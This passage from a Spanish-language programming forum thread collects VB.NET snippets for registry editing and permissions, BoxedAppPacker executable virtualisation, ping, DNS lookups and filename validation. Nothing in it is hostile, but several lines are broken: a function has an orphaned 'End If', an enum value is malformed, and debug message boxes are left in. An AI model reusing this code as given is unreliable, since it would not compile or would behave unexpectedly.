RegEdit.Copy_Key("HKCU", "Software", "7-Zip", "HKLM", "Software", Nothing) ' Copies "HKCU\Software\7-Zip" to "HKLM\Software\" ' RegEdit.Copy_Key("HKCU", "Software", "7-Zip", "HKLM", Nothing, Nothing) ' Copies "HKCU\Software\7-Zip" to "HKLM\" ' RegEdit.Copy_Key("HKCU", "\Software\", "\7-Zip\", "HKLM", "\Software\", "\7-zip\") ' Copies "HKCU\Software\7-Zip" to "HKLM\Software\7-Zip" ' ' ----------- ' Copy Value: ' ----------- ' RegEdit.Copy_Value("HKLM\software\7-zip", "path", "HKLM\software\7-zip", "path_backup") ' Copies "Path" value with their data to "HKLM\software\7-zip" "path_backup". ' ' ----------- ' Set_UserAccess_Key: ' ----------- ' RegEdit.Set_UserAccess_Key("HKCU\Software\7-Zip", {RegEdit.RegUserAccess.Administrators_Full_Access}) ' RegEdit.Set_UserAccess_Key("HKEY_CURRENT_USER\Software\7-Zip", {RegEdit.RegUserAccess.Administrators_Full_Access, RegEdit.RegUserAccess.Creator_Full_Access, RegEdit.RegUserAccess.System_Full_Access}) #Region " RegEdit Class " Public Class RegEdit ''' <summary> ''' Create a new registry key. ''' </summary> Public Shared Function Create_Key(ByVal RegKey As String) As Boolean Dim RootKey As Microsoft.Win32.RegistryKey = Get_Root_Key(RegKey) Dim KeyPath As String = Get_Key_Path(RegKey) Try RootKey.CreateSubKey(KeyPath) RootKey.Close() RootKey.Dispose() Return True Catch ex As Exception ' MsgBox(ex.Message) ' Throw New Exception(ex.Message) Return False End Try End Function ''' <summary> ''' Delete a registry key. ''' </summary> Public Shared Function Delete_Key(ByVal RegKey As String) As Boolean Dim RootKey As Microsoft.Win32.RegistryKey = Get_Root_Key(RegKey) Dim KeyPath As String = Get_Key_Path(RegKey) Try RootKey.DeleteSubKeyTree(KeyPath) RootKey.Close() RootKey.Dispose() Return True Catch ex As Exception ' MsgBox(ex.Message) ' Throw New Exception(ex.Message) Return False End Try End Function ''' <summary> ''' Delete a registry key. ''' </summary> Public Shared Function Delete_Value(ByVal RegKey As String, ByVal RegValue As String) As Boolean Dim RootKey As Microsoft.Win32.RegistryKey = Get_Root_Key(RegKey) Dim KeyPath As String = Get_Key_Path(RegKey) Try RootKey.OpenSubKey(KeyPath, True).DeleteValue(RegValue) RootKey.Close() RootKey.Dispose() Return True Catch ex As Exception ' MsgBox(ex.Message) ' Throw New Exception(ex.Message) Return False End Try End Function ''' <summary> ''' Get the data of a registry value. ''' </summary> Public Shared Function Get_Value(ByVal RegKey As String, ByVal RegValue As String) As String Dim RootKey As String = Get_Root_Key(RegKey).ToString Dim KeyPath As String = RootKey & "\" & Get_Key_Path(RegKey) Try Return My.Computer.Registry.GetValue(KeyPath, RegValue, Nothing) Catch ex As Exception ' MsgBox(ex.Message) ' Throw New Exception(ex.Message) Return False End Try End Function ''' <summary> ''' Set the data of a registry value. ''' If the Key or value don't exist it will be created automatically. ''' </summary> Public Shared Function Set_Value(ByVal RegKey As String, _ ByVal RegValue As String, _ ByVal RegData As String, _ ByVal RegDataType As Microsoft.Win32.RegistryValueKind) As Boolean Dim RootKey As String = Get_Root_Key(RegKey).ToString Dim KeyPath As String = RootKey & "\" & Get_Key_Path(RegKey) Try If RegDataType = Microsoft.Win32.RegistryValueKind.Binary Then My.Computer.Registry.SetValue(KeyPath, RegValue, System.Text.Encoding.ASCII.GetBytes(RegData), Microsoft.Win32.RegistryValueKind.Binary) Else My.Computer.Registry.SetValue(KeyPath, RegValue, RegData, RegDataType) End If Return True Catch ex As Exception ' MsgBox(ex.Message) ' Throw New Exception(ex.Message) Return False End Try End Function ''' <summary> ''' Export a registry key (including sub-keys) to a file. ''' </summary> Public Shared Function Export_Key(ByVal RegKey As String, ByVal OutputFile As String) As Boolean Dim RootKey As String = Get_Root_Key(RegKey).ToString Dim KeyPath As String = RootKey & "\" & Get_Key_Path(RegKey) If KeyPath.EndsWith("\") Then KeyPath = KeyPath.Substring(0, KeyPath.Length - 1) Try Dim Regedit As New Process() Dim Regedit_Info As New ProcessStartInfo() Regedit_Info.FileName = "Reg.exe" Regedit_Info.Arguments = "Export " & """" & KeyPath & """" & " " & """" & OutputFile & """" & " /y" Regedit_Info.CreateNoWindow = True Regedit_Info.WindowStyle = ProcessWindowStyle.Hidden Regedit_Info.UseShellExecute = False Regedit.StartInfo = Regedit_Info Regedit.Start() Regedit.WaitForExit() If Regedit.ExitCode <> 0 Then Return False Else Return True End If Catch ex As Exception ' MsgBox(ex.Message) ' Throw New Exception(ex.Message) Return False End Try End Function ''' <summary> ''' Import a registry file. ''' </summary> Public Shared Function Import_RegFile(ByVal RegFile As String) As Boolean If IO. File. Exists(RegFile ) Then Try Dim Regedit As New Process() Dim Regedit_Info As New ProcessStartInfo() Regedit_Info.FileName = "Reg.exe" Regedit_Info.Arguments = "Import " & """" & RegFile & """" Regedit_Info.CreateNoWindow = True Regedit_Info.WindowStyle = ProcessWindowStyle.Hidden Regedit_Info.UseShellExecute = False Regedit.StartInfo = Regedit_Info Regedit.Start() Regedit.WaitForExit() If Regedit.ExitCode <> 0 Then Return False Else Return True End If Catch ex As Exception ' MsgBox(ex.Message) ' Throw New Exception(ex.Message) Return False End Try Else ' MsgBox("File don't exist") Return False End If End Function ''' <summary> ''' Open Regedit at specific key. ''' </summary> Public Shared Function Jump_To_Key(ByVal RegKey As String) As Boolean Dim RootKey As String = Get_Root_Key(RegKey).ToString Dim KeyPath As String = RootKey & "\" & Get_Key_Path(RegKey) If KeyPath.EndsWith("\") Then KeyPath = KeyPath.Substring(0, KeyPath.Length - 1) Try Set_Value("HKCU\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit", "LastKey", "" & KeyPath & "", Microsoft.Win32.RegistryValueKind.String) Process.Start("Regedit.exe") Return True Catch ex As Exception ' MsgBox(ex.Message) ' Throw New Exception(ex.Message) Return False End Try End Function ''' <summary> ''' Check if a value exist. ''' </summary> Public Shared Function Exist_Value(ByVal RegKey As String, ByVal RegValue As String) As Boolean Dim RootKey As Microsoft.Win32.RegistryKey = Get_Root_Key(RegKey) Dim KeyPath As String = Get_Key_Path(RegKey) Try If RootKey.OpenSubKey(KeyPath, False).GetValue(RegValue) = String.Empty Then Return False Else Return True End If Catch ex As Exception ' MsgBox(ex.Message) ' Throw New Exception(ex.Message) Return False End Try End Function ''' <summary> ''' Check if a value have empty data. ''' </summary> Public Shared Function Exist_Data(ByVal RegKey As String, ByVal RegValue As String) As Boolean Dim RootKey As String = Get_Root_Key(RegKey).ToString Dim KeyPath As String = RootKey & "\" & Get_Key_Path(RegKey) Try If My.Computer.Registry.GetValue(KeyPath, RegValue, Nothing) = Nothing Then Return False Else Return True End If Catch ex As Exception ' MsgBox(ex.Message) ' Throw New Exception(ex.Message) Return False End Try End Function ''' <summary> ''' Copy a key tree to another location of the registry. ''' </summary> Public Shared Function Copy_Key(ByVal OldRootKey As String, _ ByVal OldPath As String, _ ByVal OldName As String, _ ByVal NewRootKey As String, _ ByVal NewPath As String, _ ByVal NewName As String) As Boolean If OldPath Is Nothing Then OldPath = "" If NewRootKey Is Nothing Then NewRootKey = OldRootKey If NewPath Is Nothing Then NewPath = "" If NewName Is Nothing Then NewName = "" If OldRootKey.EndsWith("\") Then OldRootKey = OldRootKey.Substring(0, OldRootKey.Length - 1) If NewRootKey.EndsWith("\") Then NewRootKey = NewRootKey.Substring(0, NewRootKey.Length - 1) If OldPath.StartsWith("\") Then OldPath = OldPath.Substring(1, OldPath.Length - 1) If OldPath.EndsWith("\") Then OldPath = OldPath.Substring(0, OldPath.Length - 1) If NewPath.StartsWith("\") Then NewPath = NewPath.Substring(1, NewPath.Length - 1) If NewPath.EndsWith("\") Then NewPath = NewPath.Substring(0, NewPath.Length - 1) If OldName.StartsWith("\") Then OldName = OldName.Substring(1, OldName.Length - 1) If OldName.EndsWith("\") Then OldName = OldName.Substring(0, OldName.Length - 1) If NewName.StartsWith("\") Then NewName = NewName.Substring(1, NewName.Length - 1) If NewName.EndsWith("\") Then NewName = NewName.Substring(0, NewName.Length - 1) Dim OrigRootKey As Microsoft.Win32.RegistryKey = Get_Root_Key(OldRootKey) Dim DestRootKey As Microsoft.Win32.RegistryKey = Get_Root_Key(NewRootKey) Dim oldkey As Microsoft.Win32.RegistryKey = OrigRootKey.OpenSubKey(OldPath + "\" + OldName, True) Dim newkey As Microsoft.Win32.RegistryKey = DestRootKey.OpenSubKey(NewPath, True).CreateSubKey(NewName) Reg_Copy_SubKeys(oldkey, newkey) Return True End Function Private Shared Sub Reg_Copy_SubKeys(OrigKey As Microsoft.Win32.RegistryKey, DestKey As Microsoft.Win32.RegistryKey) Dim ValueNames As String() = OrigKey.GetValueNames() Dim SubKeyNames As String() = OrigKey.GetSubKeyNames() For i As Integer = 0 To ValueNames.Length - 1 Application.DoEvents() DestKey.SetValue(ValueNames(i), OrigKey.GetValue(ValueNames(i))) Next For i As Integer = 0 To SubKeyNames.Length - 1 Application.DoEvents() Reg_Copy_SubKeys(OrigKey.OpenSubKey(SubKeyNames(i), True), DestKey.CreateSubKey(SubKeyNames(i))) Next End Sub ''' <summary> ''' Copy a value with their data to another location of the registry. ''' If the Key don't exist it will be created automatically. ''' </summary> Public Shared Function Copy_Value(ByVal RegKey As String, ByVal RegValue As String, _ ByVal NewRegKey As String, ByVal NewRegValue As String) As Boolean Dim OldRootKey As String = Get_Root_Key(RegKey).ToString Dim OldKeyPath As String = OldRootKey & "\" & Get_Key_Path(RegKey) Dim NewRootKey As String = Get_Root_Key(NewRegKey).ToString Dim NewKeyPath As String = NewRootKey & "\" & Get_Key_Path(NewRegKey) Dim RegData = Get_Value(OldKeyPath, RegValue) Try Set_Value(NewKeyPath, NewRegValue, RegData, Microsoft.Win32.RegistryValueKind.Unknown) Return True Catch ex As Exception ' MsgBox(ex.Message) ' Throw New Exception(ex.Message) Return False End Try End Function ''' <summary> ''' Valid User identifiers for Regini.exe command. ''' </summary> Public Enum RegUserAccess As Short Administrators_Full_Access = 1 Administrators_Read_Access = 2 Administrators_Read_and_Write_Access = 3 Administrators_Read_Write_and_Delete_Access4 Administrators_Read_Write_and_Execute_Access = 20 Creator_Full_Access = 5 Creator_Read_and_Write_Access = 6 Interactive_User_Full_Access = 21 Interactive_User_Read_and_Write_Access = 22 Interactive_User_Read_Write_and_Delete_Access = 23 Power_Users_Full_Access = 11 Power_Users_Read_and_Write_Access = 12 Power_Users_Read_Write_and_Delete_Access = 13 System_Full_Access = 17 System_Operators_Full_Access = 14 System_Operators_Read_and_Write_Access = 15 System_Operators_Read_Write_and_Delete_Access = 16 System_Read_Access = 19 System_Read_and_Write_Access = 18 World_Full_Access = 7 World_Read_Access = 8 World_Read_and_Write_Access = 9 World_Read_Write_and_Delete_Access = 10 End Enum ''' <summary> ''' Modify the User permissions of a registry key. ''' </summary> Public Shared Function Set_UserAccess_Key(ByVal RegKey As String, ByVal RegUserAccess() As RegUserAccess) As Boolean Dim PermissionString As String = Nothing Dim RootKey As String = Get_Root_Key(RegKey).ToString Dim KeyPath As String = RootKey & "\" & Get_Key_Path(RegKey) If KeyPath.EndsWith("\") Then KeyPath = KeyPath.Substring(0, KeyPath.Length - 1) For Each user In RegUserAccess Application.DoEvents() PermissionString += " " & user Next PermissionString = "[" & PermissionString & "]" PermissionString = PermissionString.Replace("[ ", "[") Try Using TextFile As New IO.StreamWriter(System.IO.Path.GetTempPath() & "Regini.ini", False, System.Text.Encoding.ASCII) TextFile.WriteLine("""" & KeyPath & """" & " " & PermissionString) End Using Dim Regini As New Process() Dim Regini_Info As New ProcessStartInfo() Regini_Info.FileName = "Regini.exe" MsgBox(PermissionString) MsgBox("Regini.exe " & """" & System.IO.Path.GetTempPath() & "Regini.ini" & """") Regini_Info.Arguments = """" & System.IO.Path.GetTempPath() & "Regini.ini" & """" Regini_Info.CreateNoWindow = True Regini_Info.WindowStyle = ProcessWindowStyle.Hidden Regini_Info.UseShellExecute = False Regini.StartInfo = Regini_Info Regini.Start() Regini.WaitForExit() If Regini.ExitCode <> 0 Then Return False Else Return True End If Catch ex As Exception ' MsgBox(ex.Message) ' Throw New Exception(ex.Message) Return False End Try End Function ' Returns the RootKey formatted Private Shared Function Get_Root_Key(ByVal RegKey As String) As Microsoft.Win32.RegistryKey Select Case RegKey.ToUpper.Split("\").First Case "HKCR", "HKEY_CLASSES_ROOT" : Return Microsoft.Win32.Registry.ClassesRoot Case "HKCC", "HKEY_CURRENT_CONFIG" : Return Microsoft.Win32.Registry.CurrentConfig Case "HKCU", "HKEY_CURRENT_USER" : Return Microsoft.Win32.Registry.CurrentUser Case "HKLM", "HKEY_LOCAL_MACHINE" : Return Microsoft.Win32.Registry.LocalMachine Case "HKEY_PERFORMANCE_DATA" : Return Microsoft.Win32.Registry.PerformanceData Case Else : Return Nothing End Select End Function ' Returns the KeyPath formatted Private Shared Function Get_Key_Path(ByVal RegKey As String) As String Dim KeyPath As String = String.Empty For i As Integer = 1 To RegKey.Split("\").Length - 1 Application.DoEvents() KeyPath += RegKey.Split("\")(i) & "\" Next If Not KeyPath.Contains("\") Then KeyPath = KeyPath & "\" KeyPath = KeyPath.Substring(0, KeyPath.LastIndexOf("\")) Return KeyPath End Function End Class #End Region #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: TrashAmbishion en 8 Mayo 2013, 16:20 pm
El codigo de agregar un usuario en el sistema, lo tienes incluido aqui ?
Barbarísimo estos codes, este POST es para codes hechos por uno o se puede publicar un code que me halla encontrado, salu2
thx
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Mayo 2013, 17:02 pm
El codigo de agregar un usuario en el sistema, lo tienes incluido aqui ? ¿Incluido donde?, ¿en el archivo del recopilatorio comprimido?, a que te refieres, el código lo tienes en la página 7. Barbarísimo estos codes, este POST es para codes hechos por uno o se puede publicar un code que me haya encontrado, salu2 No hay reglas, puedes publicar tanto código própio como ajeno, lo importante que hay que tener en cuenta es que séa código re-usable y no código hardcodeado. un saludo! EDITO:Man tu tienes todos los codes que publicas alli dentro del compactado ?? Si, todos los codes que yo he publicado es porque he necesitado usarlos, y me guardo una copia que puedes encontrar en el post principal.
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Mayo 2013, 17:14 pm
¡ PACK DE SNIPPETS ACTUALIZADO EN EL POST PRINCIPAL !
Ya puedes descargar la colección completa de 290 snippets útiles.
PD: Y no te olvides de ser generoso compartiendo tu conocimiento con los demás en este post...
http://elektrostudios.tk/Snippets.zip (http://elektrostudios.tk/Snippets.zip)
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 8 Mayo 2013, 20:34 pm
Con esta Class pueden manejar la aplicación BoxedAppPacker en tiempo de ejecución para empaquetar otros proyectos .NET (u otro tipo de executables) para virtualizarlos. PD: Se necesita la aplicación BoxedAppPacker v3.XXX (versión de consola), la class no usa el SDK. #Region " BoxedAppPacker " ' [ BoxedAppPacker Functions ] ' ' // By Elektro H@cker ' ' Instructions: ' 1. Add the "BoxedAppPackerConsole.exe" to the project ' 2. Add the "BoxedAppPacker Class" Class to the project ' ' Examples: ' ' ----------------- ' Pack Single File: ' ----------------- ' BoxedAppPacker.Pack_Single_File("C:\Windows\Explorer.exe", "C:\Virtual Explorer.exe") ' BoxedAppPacker.Pack_Single_File("C:\Windows\Explorer.exe", "C:\Virtual Explorer.exe", True, True, True, True, True, BoxedAppPacker.BoxedAppPackerVariables.ExeDir) ' ' --------------------------------- ' Pack File And Include More Files: ' --------------------------------- ' BoxedAppPacker.Pack_File_And_Include_More_Files("C:\Windows\Explorer.exe", {"C:\Windows\system32\shell32.dll", "C:\Windows\system32\notepad.exe"}, "C:\Virtual Explorer.exe", True, True, True) #Region " BoxedAppPacker Class " Public Class BoxedAppPacker ''' <summary> ''' The BoxedAppPackerConsole.exe location. ''' </summary> Public Shared BoxedAppPacker_Location As String = ".\BoxedAppPackerConsole.exe" ''' <summary> ''' Boxed App Packer Variables To Override CommandLine. ''' </summary> Public Enum BoxedAppPackerVariables ExeDir ' a directory that contains the packed exe. CurDir ' current directory . ProgramFiles ' ProgramFiles environment variable. Temp ' Temp environment variable. BoxedAppVar_ExeFileName ' exe's file name (for example, "notepad.exe") BoxedAppVar_ExeFileExtension ' exe's file extension (for example, "exe") BoxedAppVar_ExeFileNameWithoutExtension ' exe's file name without extension (for example, "notepad") BoxedAppVar_ExeFullPath ' exe's full path (for example, "C_\notepad.exe") BoxedAppVar_OldCmdLine ' a command line specified when the packed exe started, you can use it to add additional arguments, for example: <BoxedAppVar:OldCmdLine> /NewSwitch BoxedAppVar_OldArgs ' a command line specified when the packed exe started without the exe path, for example "<BoxedAppVar:ExeFullPath>" /C virtual.cmd <BoxedAppVar:OldArgs>, Usage: packed.exe Arg1 Arg2, It works as: original.exe /C virtual.cmd Arg1 Arg2 End Enum ''' <summary> ''' Virtualize a single executable. ''' </summary> Public Shared Function Pack_Single_File (ByVal File As String, ByVal OutputFile As String, _ Optional ByVal Make_All_File_And_Registry_Changes_Virtual As Boolean = True, _ Optional ByVal Hide_Virtual_Files_From_File_Dialog As Boolean = True, _ Optional ByVal Share_Virtual_Environment_With_Child_Processes As Boolean = False, _ Optional ByVal Enable_Virtual_Registry As Boolean = True, _ Optional ByVal Enable_CommandLine_Arguments As Boolean = True, _ Optional ByVal CommandLine_Variable As BoxedAppPackerVariables = BoxedAppPackerVariables.ExeDir ) As Boolean If Not Check_InputExecutable (File) Then Return False Dim CommandLine_Variable_Formatted As String = CommandLine_Variable.ToString.Replace("_", ":") Dim BoxedProject_Options_Section As String = "<project project_version=""2"" src=""" _ """ dest=""" _ & OutputFile & _ """ cmd_line_overridden=""" _ & Enable_CommandLine_Arguments & _ """ cmd_args=""<" _ & CommandLine_Variable_Formatted & _ ">"" share_virtual_environment_with_child_processes=""" _ & Share_Virtual_Environment_With_Child_Processes & _ """ enable_debug_log=""false"" " & _ "enable_virtual_registry=""" _ & Enable_Virtual_Registry & _ """ hide_virtual_files_from_file_dialog=""" _ & Hide_Virtual_Files_From_File_Dialog & _ """ all_changes_are_virtual=""" _ & Make_All_File_And_Registry_Changes_Virtual & """>" Dim BoxedProject_File_Section As String = <a><![CDATA[ <files> <file source_path="" name="<ExeDir>" virtual="false" virtually_deleted="false" dir="true" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="" register_as_typelib="false"> <files/> </file> <file source_path="" name="<SystemRoot>" virtual="false" virtually_deleted="false" dir="true" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="" register_as_typelib="false"> <files> <file source_path="" name="System32" virtual="false" virtually_deleted="false" dir="true" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="" register_as_typelib="false"> <files/> </file> </files> </file> </files> ]]></a>.Value Dim BoxedProject_Registry_Section As String = <a><![CDATA[ <registry> <keys> <key name="HKEY_CLASSES_ROOT" virtual="false" virtually_deleted="false"> <values/> <keys/> </key> <key name="HKEY_CURRENT_CONFIG" virtual="false" virtually_deleted="false"> <values/> <keys/> </key> <key name="HKEY_CURRENT_USER" virtual="false" virtually_deleted="false"> <values/> <keys/> </key> <key name="HKEY_LOCAL_MACHINE" virtual="false" virtually_deleted="false"> <values/> <keys/> </key> <key name="HKEY_USERS" virtual="false" virtually_deleted="false"> <values/> <keys/> </key> </keys> </registry> </project> ]]></a>.Value Try Using TextFile As New IO.StreamWriter(System.IO.Path.GetTempPath() & "BoxedAppPacker.boxedappproj", False, System.Text.Encoding.ASCII) TextFile.WriteLine(BoxedProject_Options_Section) End Using Using TextFile As New IO.StreamWriter(System.IO.Path.GetTempPath() & "BoxedAppPacker.boxedappproj", True, System.Text.Encoding.ASCII) TextFile.WriteLine(BoxedProject_File_Section) TextFile.WriteLine(BoxedProject_Registry_Section) End Using Dim BoxedAppPacker_Console As New Process() Dim BoxedAppPacker_Console_Info As New ProcessStartInfo() BoxedAppPacker_Console_Info.FileName = BoxedAppPacker_Location BoxedAppPacker_Console_Info.Arguments = """" & System.IO.Path.GetTempPath() & "BoxedAppPacker.boxedappproj" & """" BoxedAppPacker_Console_Info.CreateNoWindow = True BoxedAppPacker_Console_Info.WindowStyle = ProcessWindowStyle.Hidden BoxedAppPacker_Console_Info.UseShellExecute = False BoxedAppPacker_Console.StartInfo = BoxedAppPacker_Console_Info BoxedAppPacker_Console.Start() BoxedAppPacker_Console.WaitForExit() If BoxedAppPacker_Console.ExitCode <> 0 Then Return False Else Return True End If Catch ex As Exception ' MsgBox(ex.Message) Return False End Try End Function ''' <summary> ''' Virtualize a executable and include more files. ''' </summary> Public Shared Function Pack_File_And_Include_More_Files (ByVal File As String, ByVal SubFiles () As String, ByVal OutputFile As String, _ Optional ByVal Make_All_File_And_Registry_Changes_Virtual As Boolean = True, _ Optional ByVal Hide_Virtual_Files_From_File_Dialog As Boolean = True, _ Optional ByVal Share_Virtual_Environment_With_Child_Processes As Boolean = False, _ Optional ByVal Enable_Virtual_Registry As Boolean = True, _ Optional ByVal Enable_CommandLine_Arguments As Boolean = True, _ Optional ByVal CommandLine_Variable As BoxedAppPackerVariables = BoxedAppPackerVariables.ExeDir ) As Boolean If Not Check_InputExecutable (File) Then Return False Dim CommandLine_Variable_Formatted As String = CommandLine_Variable.ToString.Replace("_", ":") Dim BoxedProject_Options_Section As String = "<project project_version=""2"" src=""" _ """ dest=""" _ & OutputFile & _ """ cmd_line_overridden=""" _ & Enable_CommandLine_Arguments & _ """ cmd_args=""<" _ & CommandLine_Variable_Formatted & _ ">"" share_virtual_environment_with_child_processes=""" _ & Share_Virtual_Environment_With_Child_Processes & _ """ enable_debug_log=""false"" " & _ "enable_virtual_registry=""" _ & Enable_Virtual_Registry & _ """ hide_virtual_files_from_file_dialog=""" _ & Hide_Virtual_Files_From_File_Dialog & _ """ all_changes_are_virtual=""" _ & Make_All_File_And_Registry_Changes_Virtual & """>" ' Generate File Section Start Dim BoxedProject_File_Section_Start As String = <a><![CDATA[ <files> <file source_path="" name="<ExeDir>" virtual="false" virtually_deleted="false" dir="true" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="" register_as_typelib="false"> <files> ]]></a>.Value ' Generate SubFiles Tags Section Dim FileCount As Int16 = 0 Dim SubFile_Tag As String = Nothing For SubFile As Integer = 1 To SubFiles.Count Application.DoEvents() FileCount += 1 If FileCount = 1 Then SubFile_Tag += <a><![CDATA[ <file source_path="]]></a>.Value & SubFiles(FileCount - 1) & <a><![CDATA[" name="]]></a>.Value & SubFiles(FileCount - 1).Split("\").Last & <a><![CDATA[" virtual="true" virtually_deleted="false" dir="false" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="/RegServer" register_as_typelib="false"> <files/> ]]></a>.Value Else SubFile_Tag += <a><![CDATA[ </file> <file source_path="]]></a>.Value & SubFiles(FileCount - 1) & <a><![CDATA[" name="]]></a>.Value & SubFiles(FileCount - 1).Split("\").Last & <a><![CDATA[" virtual="true" virtually_deleted="false" dir="false" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="/RegServer" register_as_typelib="false"> <files/> ]]></a>.Value End If Next ' Generate File Section End Dim BoxedProject_File_Section_End As String = <a><![CDATA[ </file> </files> </file> <file source_path="" name="<SystemRoot>" virtual="false" virtually_deleted="false" dir="true" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="" register_as_typelib="false"> <files> <file source_path="" name="System32" virtual="false" virtually_deleted="false" dir="true" plugin="false" register_as_com_library="false" register_as_com_server="false" com_server_reg_cmd_line_args="" register_as_typelib="false"> <files/> </file> </files> </file> </files> ]]></a>.Value ' Generate Registry Section Dim BoxedProject_Registry_Section As String = <a><![CDATA[ <registry> <keys> <key name="HKEY_CLASSES_ROOT" virtual="false" virtually_deleted="false"> <values/> <keys/> </key> <key name="HKEY_CURRENT_CONFIG" virtual="false" virtually_deleted="false"> <values/> <keys/> </key> <key name="HKEY_CURRENT_USER" virtual="false" virtually_deleted="false"> <values/> <keys/> </key> <key name="HKEY_LOCAL_MACHINE" virtual="false" virtually_deleted="false"> <values/> <keys/> </key> <key name="HKEY_USERS" virtual="false" virtually_deleted="false"> <values/> <keys/> </key> </keys> </registry> </project> ]]></a>.Value Try Using TextFile As New IO.StreamWriter(System.IO.Path.GetTempPath() & "BoxedAppPacker.boxedappproj", False, System.Text.Encoding.ASCII) TextFile.WriteLine(BoxedProject_Options_Section) TextFile.WriteLine(BoxedProject_File_Section_Start) TextFile.WriteLine(SubFile_Tag) TextFile.WriteLine(BoxedProject_File_Section_End) TextFile.WriteLine(BoxedProject_Registry_Section) End Using Dim BoxedAppPacker_Console As New Process() Dim BoxedAppPacker_Console_Info As New ProcessStartInfo() BoxedAppPacker_Console_Info.FileName = BoxedAppPacker_Location BoxedAppPacker_Console_Info.Arguments = """" & System.IO.Path.GetTempPath() & "BoxedAppPacker.boxedappproj" & """" BoxedAppPacker_Console_Info.CreateNoWindow = True BoxedAppPacker_Console_Info.WindowStyle = ProcessWindowStyle.Hidden BoxedAppPacker_Console_Info.UseShellExecute = False BoxedAppPacker_Console.StartInfo = BoxedAppPacker_Console_Info BoxedAppPacker_Console.Start() BoxedAppPacker_Console.WaitForExit() If BoxedAppPacker_Console.ExitCode <> 0 Then Return False Else Return True End If Catch ex As Exception ' MsgBox(ex.Message) Return False End Try End Function ' Checks if InputFile exist and also is a executable. Private Shared Function Check_InputExecutable (ByVal File As String) As Boolean MsgBox("File don't exist.") Return False End If If Not File. ToLower. EndsWith(".exe") Then MsgBox("Not a valid executable file.") Return False End If Return True End Function End Class #End Region #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 11 Mayo 2013, 08:28 am
Hacer Ping a una máquina: #Region " Ping " ' [ Ping Function ] ' ' // By Elektro H@cker ' ' Examples : ' MsgBox(Ping("www.google.com")) ' MsgBox(Ping("www.google.com", 500)) ' MsgBox(Ping("www.google.com", 500, New Byte(128) {}, False)) ' MsgBox(Ping("www.google.com", 500, System.Text.Encoding.ASCII.GetBytes("Hello"), True)) ' For X As Int32 = 1 To 10 : If Not Ping("www.google.com", 1000) Then : MsgBox("Ping try " & X & " failed") : End If : Next : MsgBox("Ping successfully") Public Function Ping(ByVal Address As String, _ Optional ByVal TimeOut As Int64 = 200, _ Optional ByVal BufferData As Byte() = Nothing, _ Optional ByVal FragmentData As Boolean = False, _ Optional ByVal TimeToLive As Int64 = 128) As Boolean Dim PingSender As New System.Net.NetworkInformation.Ping() Dim PingOptions As New System.Net.NetworkInformation.PingOptions() If FragmentData Then PingOptions.DontFragment = False Else PingOptions.DontFragment = True If BufferData Is Nothing Then BufferData = New Byte(31) {} ' Sets a BufferSize of 32 Bytes PingOptions.Ttl = TimeToLive Dim Reply As System.Net.NetworkInformation.PingReply = PingSender.Send(Address, TimeOut, BufferData, PingOptions) If Reply.Status = System.Net.NetworkInformation.IPStatus.Success Then ' MsgBox("Address: " & Reply.Address.ToString) ' MsgBox("RoundTrip time: " & Reply.RoundtripTime) ' MsgBox("Time to live: " & Reply.Options.Ttl) ' MsgBox("Buffer size: " & Reply.Buffer.Length) Return True Else Return False End If End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 11 Mayo 2013, 11:45 am
Devuelve la dirección IP de un Host #Region " HostName To IP " ' [ HostName To IP Function ] ' ' // By Elektro H@cker ' ' Examples : ' ' MsgBox(HostName_To_IP("www.google.com")) ' Result: 173.194.41.6 Public Function HostName_To_IP(ByVal HotsName As String) As String Return System.Net.Dns.GetHostEntry(HotsName).AddressList(1).ToString() End Function #End Region
Devuelve el Hostname de una IP #Region " IP To HostName " ' [ IP To HostName Function ] ' ' // By Elektro H@cker ' ' Examples : ' ' MsgBox(IP_To_HostName("173.194.41.6")) ' Result: mad01s14-in-f6.1e100.net Public Function IP_To_HostName(ByVal IP As String) As String Return system.net.Dns.GetHostEntry(IP).HostName.ToString End Function #End Region
Valida si un nombre de archivo o ruta contiene caracteres no permitidos por Windows (Este snippet lo posteé hace tiempo pero tenía varios fallos, los he corregido.) #Region " Validate Windows FileName " ' [ Validate Windows FileName Function ] ' ' Examples : ' MsgBox(Validate_Windows_FileName("C:\Test.txt")) ' Result: True ' MsgBox(Validate_Windows_FileName("C:\Te|st.txt")) ' Result: False Private Function Validate_Windows_FileName(ByRef FileName As String) Dim Directory As String = Nothing Dim File As String = Nothing Try Directory = FileName.Substring(0, FileName.LastIndexOf("\")) & "\" File = FileName. Split("\"). Last Catch If Directory Is Nothing Then File = FileName End Try If Directory Is Nothing AndAlso File Is Nothing Then Return False If Not Directory Is Nothing Then For Each InvalidCharacter As Char In IO.Path.GetInvalidPathChars If Directory.Contains(InvalidCharacter) Then ' MsgBox(InvalidCharacter) Return False End If Next End If If Not File Is Nothing Then For Each InvalidCharacter As Char In IO.Path.GetInvalidFileNameChars If File. Contains(InvalidCharacter ) Then ' MsgBox(InvalidCharacter) Return False End If Next End If Return True ' FileName is valid End Function #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Mayo 2013, 07:40 am
